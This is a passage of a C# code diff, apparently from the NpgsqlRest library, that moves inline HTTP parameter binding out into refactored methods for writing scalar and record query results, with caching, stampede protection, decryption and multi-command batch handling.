s.endpoint.DecryptColumns is null)) && + IsUtf8Wire(s.connection!); + if (asUtf8 is false) { - if (overloads.TryGetValue(string.Concat(entry.Key, bodyDict.Count + pathParamCount), out var overload)) - { - routine = overload.Endpoint.Routine; - endpoint = overload.Endpoint; - formatter = overload.Formatter; - if (formatter.IsFormattable is false) - { - // Reinitialize commandTextBuilder for the new routine - commandTextBuilder?.Clear(); - if (commandTextBuilder is null) - { - commandTextBuilder = StringBuilderPool.Rent(routine.Expression.Length + routine.ParamCount * 16); - } - commandTextBuilder.Append(routine.Expression); - } - } + valueResult = descriptor.IsBinary ? reader.GetFieldValue(0) : reader.GetValue(0) as string; } - - for (int i = 0; i < routine.Parameters.Length; i++) + else if (reader.IsDBNull(0) is false) { - var parameter = routine.Parameters[i].NpgsqlRestParameterMemberwiseClone(); - - // Resolved parameter: skip HTTP filling, set to DBNull.Value placeholder. - // The actual value will be resolved via SQL expression after the parameter loop. - if (endpoint.ResolvedParameterExpressions is not null && - (endpoint.ResolvedParameterExpressions.ContainsKey(parameter.ActualName) || - endpoint.ResolvedParameterExpressions.ContainsKey(parameter.ConvertedName))) + await using var stream = reader.GetStream(0); + int length = checked((int)stream.Length); + utf8 = ArrayPool.Shared.Rent(length); + while (utf8Length < length) { - parameter.Value = DBNull.Value; - if (Options.HttpClientOptions.Enabled) - { - if (parameter.TypeDescriptor.CustomType is not null) - { - if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) - { - customHttpTypes.Add(parameter.TypeDescriptor.CustomType); - } - } - } - if (!parameter.IsVirtual) command.Parameters.Add(parameter); - hasNulls = true; - if (formatter.IsFormattable is false) + int read = await stream.ReadAsync(utf8.AsMemory(utf8Length, length - utf8Length), s.cancellationToken); + if (read == 0) { - if (formatter.RefContext) - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex, context)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - else - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex)); - } - } - paramIndex++; - if (shouldLog && Options.LogCommandParameters) - { - cmdLog!.Append("-- $").Append(paramIndex).Append(' ') - .Append(parameter.TypeDescriptor.OriginalType) - .Append(" = (resolved)").AppendLine(); + break; } - continue; + utf8Length += read; } + } + } + + if (asUtf8 is false) + { + await WriteScalarValueAsync(s, descriptor, valueResult); + return; + } - if (parameter.HashOf is not null) + SetScalarContentType(s.context, descriptor, s.endpoint.Raw); + if (utf8 is null) + { + // SQL NULL + if (s.endpoint.Raw is false) + { + if (s.endpoint.TextResponseNullHandling == TextResponseNullHandling.NullLiteral) { - var hashValueBodyDict = bodyDict!.GetValueOrDefault(parameter.HashOf.ConvertedName)?.ToString(); - if (string.IsNullOrEmpty(hashValueBodyDict) is true) - { - parameter.Value = DBNull.Value; - } - else - { - parameter.Value = Options.AuthenticationOptions.PasswordHasher?.HashPassword(hashValueBodyDict) as object ?? DBNull.Value; - } + s.writer.Write(Consts.Utf8Null); } - if (endpoint.UseUserParameters is true) + else if (s.endpoint.TextResponseNullHandling == TextResponseNullHandling.NoContent) { - if (parameter.IsFromUserClaims is true && claimsDict is null) - { - claimsDict = context.User.BuildClaimsDictionary(Options.AuthenticationOptions); - } - if (parameter.IsIpAddress is true) - { - parameter.Value = context.Request.GetClientIpAddressDbParam(); - } - else if (context.User?.Identity?.IsAuthenticated is true && Options.AuthenticationOptions.ParameterNameClaimsMapping.TryGetValue(parameter.ActualName, out var claimType)) - { - // Claim auto-bind always wins (security routines depend on it). If the - // request also supplied a value, it would otherwise be silently dropped — - // surface that as a WARN so a parameter naming collision is visible. - if (bodyDict is not null - && (bodyDict.ContainsKey(parameter.ConvertedName) || bodyDict.ContainsKey(parameter.ActualName))) - { - Logger?.ClaimMappedParamReceivedRequestValue( - endpoint.Path, parameter.ActualName, "body", claimType); - } - parameter.Value = claimsDict!.GetClaimDbParam(claimType); - } - else if (context.User?.Identity?.IsAuthenticated is true && parameter.IsUserClaims is true) - { - parameter.Value = claimsDict?.GetUserClaimsDbParam() ?? DBNull.Value; - } + s.context.Response.StatusCode = (int)HttpStatusCode.NoContent; } - if (parameter.IsUploadMetadata is true) + // else OK empty string + } + return; + } + if (descriptor.IsArray && s.endpoint.Raw is false) + { + var json = Utf8Buffer.Rent(); + try + { + PgUtf8Converters.AppendPgArrayAsJson(json, utf8.AsSpan(0, utf8Length), descriptor); + s.writer.Write(json.WrittenSpan); + } + finally + { + Utf8Buffer.Return(json); + } + } + else if (utf8Length <= ScalarChunkBytes) + { + s.writer.Write(utf8.AsSpan(0, utf8Length)); + } + else + { + for (int offset = 0; offset < utf8Length; offset += ScalarChunkBytes) + { + s.writer.Write(utf8.AsSpan(offset, Math.Min(ScalarChunkBytes, utf8Length - offset))); + await s.writer.FlushAsync(s.cancellationToken); + } + } + } + finally + { + if (utf8 is not null) + { + ArrayPool.Shared.Return(utf8); + } + } + } + + /// + /// A routine returning a single value, with response caching: a burst of identical requests runs the routine once. + /// + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder))] + private async ValueTask RenderCachedScalarAsync(RequestState s) + { + // Locals, not the pooled request state: the cache factory below captures them. + var context = s.context; + var endpoint = s.endpoint; + var connection = s.connection!; + var command = s.command; + var commandText = s.commandText!; + var cmdLog = s.cmdLog; + var shouldLog = s.shouldLog; + var resolvedCache = s.resolvedCache!; + var cacheKeyString = s.cacheKeyString; + var cacheTtlOverride = s.cacheTtlOverride; + var cancellationToken = s.cancellationToken; + // The request context, when it is sent with the routine (see RequestContextBatch) - a copy, because the list + // belongs to the pooled request state. + (string Key, object? Value)[]? requestContext = s.contextWithRoutine ? s.contextPairs!.ToArray() : null; + TypeDescriptor descriptor = s.routine.ColumnsTypeDescriptor[0]; + + object? valueResult; + // Route through GetOrCreateAsync so a burst of identical requests coalesces into a + // single connection-open + execution (stampede protection). The connection is opened + // by PrepareCommand *inside* the factory, so coalesced waiters never touch the DB. + bool factoryRan = false; + try + { + valueResult = await resolvedCache.GetOrCreateAsync( + endpoint, + cacheKeyString!, + async ct => + { + factoryRan = true; + if (await PrepareCommand(connection, command, commandText, context, endpoint, true, ct) is false) { - uploadMetaParamIndex = command.Parameters.Count; // the last one added - parameter.Value = DBNull.Value; + throw new CacheFactoryAbortException(CacheFactoryAbortReason.ResponseAlreadyWritten); } - // header parameter - if (parameter.Value is null && - endpoint.RequestHeadersMode == RequestHeadersMode.Parameter && - parameter.TypeDescriptor.HasDefault is true && - ( - string.Equals(endpoint.RequestHeadersParameterName, parameter.ConvertedName, StringComparison.Ordinal) || - string.Equals(endpoint.RequestHeadersParameterName, parameter.ActualName, StringComparison.Ordinal) - ) - ) + await using var contextBatch = requestContext is null ? null : RequestContextBatch.Create(connection, command, requestContext); + await using var reader = await command.ExecuteRoutineReaderWithRetryAsync( + contextBatch, + CommandBehavior.SequentialAccess, + endpoint.RetryStrategy, + ct, + endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); + if (shouldLog) { - if (bodyDict!.ContainsKey(parameter.ConvertedName) is false) - { - if (headers is null) - { - SearializeHeader(Options, context, ref headers); - } - parameter.ParamType = ParamType.HeaderParam; - parameter.Value = headers; - - if (Options.ValidateParameters is not null) - { - Options.ValidateParameters(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (Options.ValidateParametersAsync is not null) - { - await Options.ValidateParametersAsync(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (endpoint.Cached is true && endpoint.CachedParams is not null) - { - if (endpoint.CachedParams.Contains(parameter.ConvertedName) || endpoint.CachedParams.Contains(parameter.ActualName)) - { - cacheKeys?.Append(NpgsqlRestParameter.GetCacheKeySeparator()); - cacheKeys?.Append(parameter.GetCacheStringValue()); - } - } - - if (Options.HttpClientOptions.Enabled) - { - if (parameter.TypeDescriptor.CustomType is not null) - { - if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) - { - customHttpTypes.Add(parameter.TypeDescriptor.CustomType); - } - } - } - if (!parameter.IsVirtual) command.Parameters.Add(parameter); - - if (hasNulls is false && parameter.Value == DBNull.Value) - { - hasNulls = true; - } - - if (formatter.IsFormattable is false) - { - if (formatter.RefContext) - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex, context)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - else - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex)); - } - } - paramIndex++; - if (shouldLog && Options.LogCommandParameters) - { - var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && endpoint.IsAuth ? - "***" : - FormatParameterForLog(parameter); - cmdLog!.Append("-- $").Append(paramIndex).Append(' ') - .Append(parameter.TypeDescriptor.OriginalType) - .Append(" = ").AppendLine(p); - } - - continue; - } + NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", command.CommandText); } - - // path parameter - extract from RouteValues (for JSON body mode) - if (parameter.Value is null && endpoint.HasPathParameters) + if (await reader.ReadAsync(ct)) { - // Use optimized O(1) lookup via HashSet - string? matchedPathParam = endpoint.FindMatchingPathParameter(parameter.ConvertedName, parameter.ActualName); + return descriptor.IsBinary ? reader.GetFieldValue(0) : reader.GetValue(0) as string; + } + throw new CacheFactoryAbortException(CacheFactoryAbortReason.NoRow); + }, + cacheTtlOverride, + cancellationToken); + } + catch (CacheFactoryAbortException abort) + { + if (abort.Reason == CacheFactoryAbortReason.NoRow) + { + Logger?.CouldNotReadCommand(command.CommandText, context.Request.Method, context.Request.Path); + context.Response.StatusCode = (int)HttpStatusCode.InternalServerError; + } + // ResponseAlreadyWritten: PrepareCommand already wrote the lead caller's response. + return; + } + if (factoryRan is false && shouldLog) + { + cmdLog?.AppendLine("/* from cache */"); + NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", commandText); + } - // Try to get route value using the path parameter name from the template - if (matchedPathParam is not null && context.Request.RouteValues.TryGetValue(matchedPathParam, out var routeValue)) - { - StringValues pathStringValues = routeValue?.ToString() ?? ""; - if (TryParseParameter(parameter, ref pathStringValues, endpoint.QueryStringNullHandling)) - { - parameter.ParamType = ParamType.PathParam; - parameter.QueryStringValues = pathStringValues; + await WriteScalarValueAsync(s, descriptor, valueResult); + } - if (Options.ValidateParameters is not null) - { - Options.ValidateParameters(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (Options.ValidateParametersAsync is not null) - { - await Options.ValidateParametersAsync(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (endpoint.Cached is true && endpoint.CachedParams is not null) - { - if (endpoint.CachedParams.Contains(parameter.ConvertedName) || endpoint.CachedParams.Contains(parameter.ActualName)) - { - cacheKeys?.Append(NpgsqlRestParameter.GetCacheKeySeparator()); - cacheKeys?.Append(parameter.GetCacheStringValue()); - } - } + /// Writes a scalar value held as a string (or as bytes, for bytea): decrypts it when asked to, then writes it. + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder))] + private async ValueTask WriteScalarValueAsync(RequestState s, TypeDescriptor descriptor, object? valueResult) + { + var context = s.context; + var endpoint = s.endpoint; + var writer = s.writer; + var cancellationToken = s.cancellationToken; + + // Decrypt scalar result if marked with decrypt annotation + if (valueResult is string scalarStr && + Options.AuthenticationOptions.DefaultDataProtector is not null && + (endpoint.DecryptAllColumns || endpoint.DecryptColumns is not null)) + { + try + { + valueResult = Options.AuthenticationOptions.DefaultDataProtector.Unprotect(scalarStr); + } + catch (Exception decryptEx) + { + Logger?.DecryptColumnFailed(decryptEx.Message); + } + } - if (Options.HttpClientOptions.Enabled) - { - if (parameter.TypeDescriptor.CustomType is not null) - { - if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) - { - customHttpTypes.Add(parameter.TypeDescriptor.CustomType); - } - } - } - if (!parameter.IsVirtual) command.Parameters.Add(parameter); + SetScalarContentType(context, descriptor, endpoint.Raw); - if (hasNulls is false && parameter.Value == DBNull.Value) - { - hasNulls = true; - } + // if raw + if (endpoint.Raw) + { + if (descriptor.IsBinary) + { + await writer.WriteAsync(valueResult as byte[], cancellationToken); + await writer.FlushAsync(cancellationToken); + } + else + { + var span = (valueResult as string).AsSpan(); + writer.Advance(Encoding.UTF8.GetBytes(span, writer.GetSpan(Encoding.UTF8.GetMaxByteCount(span.Length)))); + } + } + else + { + if (valueResult is null) + { + if (endpoint.TextResponseNullHandling == TextResponseNullHandling.NullLiteral) + { + writer.Write(Consts.Utf8Null); + } + else if (endpoint.TextResponseNullHandling == TextResponseNullHandling.NoContent) + { + context.Response.StatusCode = (int)HttpStatusCode.NoContent; + } + // else OK empty string + return; + } + if (descriptor.IsBinary) + { + await writer.WriteAsync(valueResult as byte[], cancellationToken); + await writer.FlushAsync(cancellationToken); + } + else + { + var span = (descriptor.IsArray && valueResult is not null) ? + PgArrayToJsonArray((valueResult as string).AsSpan(), descriptor) : (valueResult as string).AsSpan(); + writer.Advance(Encoding.UTF8.GetBytes(span, writer.GetSpan(Encoding.UTF8.GetMaxByteCount(span.Length)))); + } + } + } - if (formatter.IsFormattable is false) - { - if (formatter.RefContext) - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex, context)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - else - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex)); - } - } - paramIndex++; - if (shouldLog && Options.LogCommandParameters) - { - var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && endpoint.IsAuth ? - "***" : - FormatParameterForLog(parameter); - cmdLog!.Append("-- $").Append(paramIndex).Append(' ') - .Append(parameter.TypeDescriptor.OriginalType) - .Append(" = ").AppendLine(p); - } + /// + /// A routine returning rows (a record, a set, or a table): JSON, raw/CSV or a table format, with response caching. + /// This part runs the command; writes the rows. + /// + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder))] + private async ValueTask RenderRecordsAsync(RequestState s) + { + // Held (when non-null) for the streaming records/sets cache path; released in the finally. + RecordCacheGate? recordCacheGate = null; + try + { + var binary = s.routine.ColumnsTypeDescriptor.Length == 1 && s.routine.ColumnsTypeDescriptor[0].IsBinary; - continue; - } - } - } + // Check cache for records/sets (but not for binary or raw mode) + var canCacheRecordsAndSets = s.resolvedCache is not null + && s.endpoint.Cached is true + && s.bypassCache is false + && binary is false + && s.endpoint.Raw is false; + + if (canCacheRecordsAndSets) + { + // Stampede protection for the streaming set path: serialize concurrent requests + // for this key. The lead executes and (within MaxCacheableRows) populates the cache + // below, so the waiters that acquire the gate next fall straight into this cache-hit + // branch instead of re-executing. Released in the outer finally. + recordCacheGate = await RecordCacheGate.AcquireAsync(s.resolvedCache!, s.cacheKeyString!, s.cancellationToken); - if (bodyDict!.TryGetValue(parameter.ConvertedName, out var value) is false) + if (s.resolvedCache!.Get(s.endpoint, s.cacheKeyString!, out var cachedResult)) + { + if (s.shouldLog) { - if (parameter.Value is null) - { - if (Options.ValidateParameters is not null) - { - Options.ValidateParameters(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (Options.ValidateParametersAsync is not null) - { - await Options.ValidateParametersAsync(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - if (parameter.Value is null) - { - if (parameter.TypeDescriptor.CustomType is not null) - { - parameter.Value = DBNull.Value; - } - else if (IsProxyResponseParameter(endpoint, parameter)) - { - // Proxy response parameter - set placeholder value and fall through to add it - parameter.Value = DBNull.Value; - parameter.ParamType = ParamType.BodyJson; - } - else if (parameter.TypeDescriptor.HasDefault is false) - { - shouldCommit = false; - uploadHandler?.OnError(connection, context, null); - context.Response.StatusCode = StatusCodes.Status404NotFound; - await context.Response.CompleteAsync(); - return; - } - else if (parameter.DefaultValue is not null) - { - // Explicit default value (SQL file annotation) — bind it - parameter.Value = parameter.DefaultValue; - parameter.ParamType = ParamType.BodyJson; - } - else - { - continue; - } - } - } + s.cmdLog?.AppendLine("/* from cache */"); + NpgsqlRestLogger.LogEndpoint(s.endpoint, s.cmdLog?.ToString() ?? "", s.commandText ?? ""); } - if (parameter.Value is null && TryParseParameter(parameter, value) is false) + if (s.context.Response.ContentType is null) { - // Check if this is a proxy response parameter - it will be filled in later - if (IsProxyResponseParameter(endpoint, parameter)) - { - parameter.Value = DBNull.Value; - parameter.ParamType = ParamType.BodyJson; - // Don't skip - fall through to add the parameter - } - else if (parameter.TypeDescriptor.HasDefault is false) - { - shouldCommit = false; - uploadHandler?.OnError(connection, context, null); - context.Response.StatusCode = StatusCodes.Status404NotFound; - await context.Response.CompleteAsync(); - return; - } - else if (parameter.DefaultValue is not null) - { - parameter.Value = parameter.DefaultValue; - parameter.ParamType = ParamType.BodyJson; - } - else - { - continue; - } + s.context.Response.ContentType = Application.Json; } - parameter.ParamType = ParamType.BodyJson; - parameter.JsonBodyNode = value; - if (Options.ValidateParameters is not null) + + var cachedSpan = (cachedResult as string ?? "").AsSpan(); + s.writer.Advance(Encoding.UTF8.GetBytes(cachedSpan, s.writer.GetSpan(Encoding.UTF8.GetMaxByteCount(cachedSpan.Length)))); + return; + } + } + + NpgsqlDataReader reader; + await using NpgsqlBatch? batch = s.routine.IsMultiCommand && s.routine.MultiCommandInfo is not null ? new NpgsqlBatch(s.connection) : null; + + if (batch is not null) + { + // Multi-command: use NpgsqlBatch with one command per statement + foreach (var cmdInfo in s.routine.MultiCommandInfo!) + { + var batchCmd = new NpgsqlBatchCommand(cmdInfo.Statement); + // Copy bound parameters from the main command to each batch command + for (int pi = 0; pi < Math.Min(s.command.Parameters.Count, cmdInfo.ParamCount); pi++) { - Options.ValidateParameters(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } + var srcParam = s.command.Parameters[pi]; + var batchParam = NpgsqlRestParameter.CreateParamWithType(srcParam.NpgsqlDbType); + batchParam.Value = srcParam.Value ?? DBNull.Value; + batchCmd.Parameters.Add(batchParam); } - if (Options.ValidateParametersAsync is not null) + batch.BatchCommands.Add(batchCmd); + } + reader = await batch.ExecuteBatchReaderWithRetryAsync( + CommandBehavior.SequentialAccess, + s.endpoint.RetryStrategy, + s.cancellationToken, + errorCodePolicy: s.endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy); + if (s.shouldLog) + { + NpgsqlRestLogger.LogEndpoint(s.endpoint, s.cmdLog?.ToString() ?? "", string.Join("; ", s.routine.MultiCommandInfo.Select(c => c.Statement))); + } + } + else + { + // Single command: use NpgsqlCommand as before + if (await PrepareCommand(s.connection!, s.command, s.commandText!, s.context, s.endpoint, true, s.cancellationToken) is false) + { + return; + } + // The first attempt is made here (see RenderVoidAsync). + if (Retries(s.endpoint)) + { + s.cancellationToken.ThrowIfCancellationRequested(); + } + if (s.contextWithRoutine) + { + CreateContextBatch(s); + } + try + { + if (s.contextBatch is { } contextBatch) { - await Options.ValidateParametersAsync(new ParameterValidationValues( - context, - routine, - parameter)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } + // the request context and the routine, in one round trip (see RenderScalarAsync) + reader = await contextBatch.ExecuteReaderAsync(CommandBehavior.SequentialAccess, s.cancellationToken); + await NpgsqlRetryExtensions.SkipContextResultAsync(reader, s.cancellationToken); } - if (endpoint.Cached is true && endpoint.CachedParams is not null) + else { - if (endpoint.CachedParams.Contains(parameter.ConvertedName) || endpoint.CachedParams.Contains(parameter.ActualName)) - { - cacheKeys?.Append(NpgsqlRestParameter.GetCacheKeySeparator()); - cacheKeys?.Append(parameter.GetCacheStringValue()); - } + reader = await s.command.ExecuteReaderAsync(CommandBehavior.SequentialAccess, s.cancellationToken); } + } + catch (Exception firstFailure) when (Retries(s.endpoint)) + { + reader = await s.command.ExecuteReaderAfterFailureAsync( + firstFailure, + CommandBehavior.SequentialAccess, + s.endpoint.RetryStrategy!, + s.cancellationToken, + s.endpoint.ErrorCodePolicy ?? Options.ErrorHandlingOptions.DefaultErrorCodePolicy, + s.contextBatch); + } + if (s.shouldLog) + { + NpgsqlRestLogger.LogEndpoint(s.endpoint, s.cmdLog?.ToString() ?? "", s.command.CommandText); + } + } + await using var _ = reader; // ensure disposal - if (Options.HttpClientOptions.Enabled) + // Pluggable table format renderer + if (Options.TableFormatHandlers is not null + && s.customParameters is not null + && s.customParameters.TryGetValue("table_format", out var tableFormatName) + && Options.TableFormatHandlers.TryGetValue(tableFormatName, out var tableFormatHandler)) + { + s.context.Response.ContentType = tableFormatHandler.ContentType; + var tfBufferRows = s.endpoint.BufferRows ?? Options.BufferRows; + if (s.routine.IsMultiCommand && s.routine.MultiCommandInfo is not null) + { + // Multi-command: call handler per result set + var tfCmdIndex = 0; + do { - if (parameter.TypeDescriptor.CustomType is not null) - { - if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) - { - customHttpTypes.Add(parameter.TypeDescriptor.CustomType); - } - } - } - command.Parameters.Add(parameter); + await tableFormatHandler.RenderAsync(reader, s.routine, s.endpoint, s.writer, s.context, tfBufferRows, s.customParameters, s.cancellationToken); + tfCmdIndex++; + } while (tfCmdIndex < s.routine.MultiCommandInfo.Length && await reader.NextResultAsync(s.cancellationToken)); + } + else + { + await tableFormatHandler.RenderAsync(reader, s.routine, s.endpoint, s.writer, s.context, tfBufferRows, s.customParameters, s.cancellationToken); + } + await s.writer.FlushAsync(s.cancellationToken); + return; + } - if (hasNulls is false && parameter.Value == DBNull.Value) - { - hasNulls = true; - } + await WriteResultSetsAsync(s, reader, binary, canCacheRecordsAndSets); + } + finally + { + // Release the records/sets stampede gate (if this request acquired it) so the next waiter + // for this key can proceed - by now the cache is either populated or the response was over-limit. + recordCacheGate?.Leave(); + } + } - if (formatter.IsFormattable is false) - { - if (formatter.RefContext) - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex, context)); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) - { - return; - } - } - else - { - commandTextBuilder!.Append(formatter.AppendCommandParameter(parameter, paramIndex)); - } - } - paramIndex++; - if (shouldLog && Options.LogCommandParameters) + /// Writes the rows of the reader's result set(s) to the response. + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder))] + private async ValueTask WriteResultSetsAsync(RequestState s, NpgsqlDataReader reader, bool binary, bool canCacheRecordsAndSets) + { + var context = s.context; + var endpoint = s.endpoint; + var routine = s.routine; + var connection = s.connection!; + var writer = s.writer; + var resolvedCache = s.resolvedCache; + var cacheKeyString = s.cacheKeyString; + var cacheTtlOverride = s.cacheTtlOverride; + var cancellationToken = s.cancellationToken; + // Renders rows as UTF-8 (the request state's renderer, in use from the first row-returning result set) + RowRenderer? rowRenderer = null; + Utf8Buffer? cacheBufferRented = null; + try + { + if (context.Response.ContentType is null) + { + if (binary is true) + { + context.Response.ContentType = Application.Octet; + } + else if (endpoint.Raw) + { + // the raw annotation: values as text, not JSON (it used to be labelled application/json) + context.Response.ContentType = Text.Plain; + } + else + { + context.Response.ContentType = Application.Json; + } + } + + // For caching, we need to buffer the entire response + Utf8Buffer? cacheBuffer = canCacheRecordsAndSets ? (cacheBufferRented = Utf8Buffer.Rent()) : null; + var maxCacheableRows = Options.CacheOptions.MaxCacheableRows; + var shouldCache = canCacheRecordsAndSets; + + // Multi-command rendering: wrap result sets in JSON object (not in raw/binary mode) + var multiCmd = routine.MultiCommandInfo; + int multiCmdIndex = 0; + bool multiCmdFirstWritten = false; + bool multiCmdWriteWrapper = multiCmd is not null && binary is false && endpoint.Raw is false; + if (multiCmdWriteWrapper) + { + writer.Write(Consts.Utf8OpenBrace); + } + + // Begin result set loop (single pass for normal, do/while for multi-command) + do + { + // For multi-command: determine current command metadata and skip void commands + string[]? currentColumnNames = null; + string[]? currentJsonColumnNames = null; + TypeDescriptor[]? currentColumnDescriptors = null; + int currentColumnCount = routine.ColumnCount; + if (multiCmd is not null && multiCmdIndex < multiCmd.Length) + { + var cmdInfo = multiCmd[multiCmdIndex]; + + if (multiCmdWriteWrapper) + { + // Write command name key in JSON wrapper + if (multiCmdFirstWritten) { - var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && endpoint.IsAuth ? - "***" : - FormatParameterForLog(parameter); - cmdLog!.Append("-- $").Append(paramIndex).Append(' ') - .Append(parameter.TypeDescriptor.OriginalType) - .Append(" = ").AppendLine(p); + writer.Write(Consts.Utf8Comma); } + var nameJson = string.Concat(cmdInfo.JsonName, ":"); + writer.Advance(Encoding.UTF8.GetBytes(nameJson.AsSpan(), writer.GetSpan(Encoding.UTF8.GetMaxByteCount(nameJson.Length)))); + multiCmdFirstWritten = true; } - // Skip body validation for passthrough proxy endpoints - body will be forwarded as-is - if (!(endpoint.IsProxy && Options.ProxyOptions.Enabled && !endpoint.HasProxyResponseParameters)) + if (cmdInfo.ColumnCount == 0) { - foreach (var bodyKey in bodyDict!.Keys) + if (multiCmdWriteWrapper) { - if (routine.ParamsHash.Contains(bodyKey) is false) - { - shouldCommit = false; - uploadHandler?.OnError(connection, context, null); - context.Response.StatusCode = StatusCodes.Status404NotFound; - await context.Response.CompleteAsync(); - return; - } + // Void command — write rows-affected count + var rowsAffected = reader.RecordsAffected; + var rowsStr = rowsAffected.ToString(); + writer.Advance(Encoding.UTF8.GetBytes(rowsStr.AsSpan(), writer.GetSpan(Encoding.UTF8.GetMaxByteCount(rowsStr.Length)))); } + multiCmdIndex++; + continue; } - } // end of json body parameters - if (hasNulls && routine.IsStrict) - { - context.Response.StatusCode = (int)HttpStatusCode.NoContent; - await context.Response.CompleteAsync(); - return; + currentColumnNames = cmdInfo.ColumnNames; + currentJsonColumnNames = cmdInfo.JsonColumnNames; + currentColumnDescriptors = cmdInfo.ColumnTypeDescriptors; + currentColumnCount = cmdInfo.ColumnCount; } - // parameters are ready !!! + // Per-command single record: for multi-command, use per-command IsSingle only; + // for single-command, use endpoint-level ReturnSingleRecord + var isSingleRecord = multiCmd is not null + ? (multiCmdIndex < multiCmd.Length && multiCmd[multiCmdIndex].IsSingle) + : endpoint.ReturnSingleRecord; - // Validate parameters before any further processing (authorization, proxy, etc.) - if (endpoint.ParameterValidations is not null) - { - if (!await ValidateParametersAsync(command.Parameters, endpoint, context, cancellationToken)) - { - return; - } - } - // Encrypt parameters marked with encrypt annotation - if (Options.AuthenticationOptions.DefaultDataProtector is not null && - (endpoint.EncryptAllParameters || endpoint.EncryptParameters is not null)) + + + // The array brackets go through the same pending buffer as the rows (see rowBuilder below), so + // nothing is written to the response before the first batch of rows is sent. + var writeArrayBrackets = routine.ReturnsSet && endpoint.Raw is false && binary is false && isSingleRecord is false; + + bool first = true; + var routineReturnRecordCount = currentColumnCount; + var activeColumnNames = currentColumnNames ?? routine.ColumnNames; + var activeJsonColumnNames = currentJsonColumnNames ?? routine.JsonColumnNames; + var activeColumnDescriptors = currentColumnDescriptors ?? routine.ColumnsTypeDescriptor; + + ulong rowCount = 0; + + // Precompute nested JSON composite column mapping + // Maps column index to: (compositeColumnName, fieldName, isFirstField, isLastField, fieldCount, jsonCompositeColumnName, jsonFieldName) + Dictionary? nestedJsonColumnMap = null; + if (endpoint.NestedJsonForCompositeTypes == true && routine.CompositeColumnInfo is not null) { - var protector = Options.AuthenticationOptions.DefaultDataProtector; - for (int p = 0; p < command.Parameters.Count; p++) + nestedJsonColumnMap = new(); + foreach (var (_, compositeInfo) in routine.CompositeColumnInfo) { - var param = (NpgsqlRestParameter)command.Parameters[p]; - if (param.Value is string strValue && - (endpoint.EncryptAllParameters || - endpoint.EncryptParameters!.Contains(param.ActualName) || - endpoint.EncryptParameters!.Contains(param.ConvertedName))) + var indices = compositeInfo.ExpandedColumnIndices; + var fieldCount = indices.Length; + for (int fieldIdx = 0; fieldIdx < fieldCount; fieldIdx++) { - param.Value = protector.Protect(strValue); + var colIdx = indices[fieldIdx]; + nestedJsonColumnMap[colIdx] = ( + compositeInfo.ConvertedColumnName, + compositeInfo.FieldNames[fieldIdx], + fieldIdx == 0, + fieldIdx == indices.Length - 1, + fieldCount, + PgConverters.SerializeString(compositeInfo.ConvertedColumnName), + PgConverters.SerializeString(compositeInfo.FieldNames[fieldIdx]) + ); } } } - // authorization check - if (endpoint.Login is false) + // A login endpoint's record reaches this path only with SerializeAuthEndpointsResponse on (after a + // successful sign-in that wrote no response). Its password hash column is written as null: the + // hash is needed for verification, never by the client. + var hiddenColumnIndex = -1; + if (endpoint.Login && Options.AuthenticationOptions.HashColumnName is not null) { - if ((endpoint.RequiresAuthorization || endpoint.AuthorizeRoles is not null) && context.User?.Identity?.IsAuthenticated is false) - { - await Results.Problem( - type: null, - statusCode: (int)HttpStatusCode.Unauthorized, - title: "Unauthorized", - detail: null).ExecuteAsync(context); - return; - } + hiddenColumnIndex = 